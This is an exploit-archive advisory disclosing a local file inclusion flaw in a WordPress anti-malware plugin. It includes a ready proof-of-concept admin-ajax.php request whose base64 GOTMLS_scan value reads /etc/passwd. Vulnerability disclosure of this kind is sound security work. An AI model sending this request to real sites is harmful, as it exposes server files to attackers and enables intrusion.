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WordPress Anti-Malware Security And Brute-Force Firewall 4.18.63 Local File Inclusion

WordPress Anti-Malware Security And Brute-Force Firewall 4.18.63 Local File Inclusion
Posted Mar 29, 2019
Authored by Ali S. Ahmad

WordPress Anti-Malware Security and Brute-Force Firewall plugin version 4.18.63 suffers from a local file inclusion vulnerability.

tags | exploit, local, file inclusion
MD5 | c3c8b8f52e424c3c1590ab946e0a5361

WordPress Anti-Malware Security And Brute-Force Firewall 4.18.63 Local File Inclusion

Change Mirror Download
# Exploit Title: Wordpress Anti-Malware Security and Bruteforce Firewall - Local File Inclusion
# Google Dork: N/A
# Date: 03 / 26 / 2019
# Exploit Author: Ali S. Ahmad (S4R1N)
# Vendor Homepage: N/A
# Software Link: https://wordpress.org/plugins/gotmls/
# Version: (Version 4.18.63)
# Tested on: Debian GNU/Linux 9 (Docker)
# CVE : N/A
***********************************************************************
Discovered By: Ali S. Ahmad (S4R1N) 03 / 26 / 2019
***********************************************************************
A local file inclusion bug was discovered on the Wordpress Anti-Malware Security and Bruteforce Firewall (Version 4.18.63) plugin.
This bug affects the file scan functionality of the plugin and can be exploited by any authenticated user (from subscriber to admin) simply by modifying the GOTMLS_scan= with a base64 encoded path to the file the attacker is trying to read. (example : GOTMLS_scan=L2V0Yy9wYXNzd2Q)
***********************************************************************
Tools used :
Attacker OS : Fedora 29
Victim OS : Debian GNU/Linux 9 (running on docker)
Manual Testing tool : Burp Repeater / Browser
***********************************************************************
Proof of Concept (PoC):

Step 1 - Log into Wordpress instance
Step 2 - Go to /wp-admin/admin-ajax.php?action=GOTMLS_scan&GOTMLS_mt=32fd564ad6974510e6bcd22815853f3d&mt=1553627072.7669&page=GOTMLS-settings&GOTMLS_scan=<base64 encoded file path>

URL : the following should yeild the contents of /etc/passwd /wp-admin/admin-ajax.php?action=GOTMLS_scan&GOTMLS_mt=32fd564ad6974510e6bcd22815853f3d&mt=1553627072.7669&page=GOTMLS-settings&GOTMLS_scan=L2V0Yy9wYXNzd2Q

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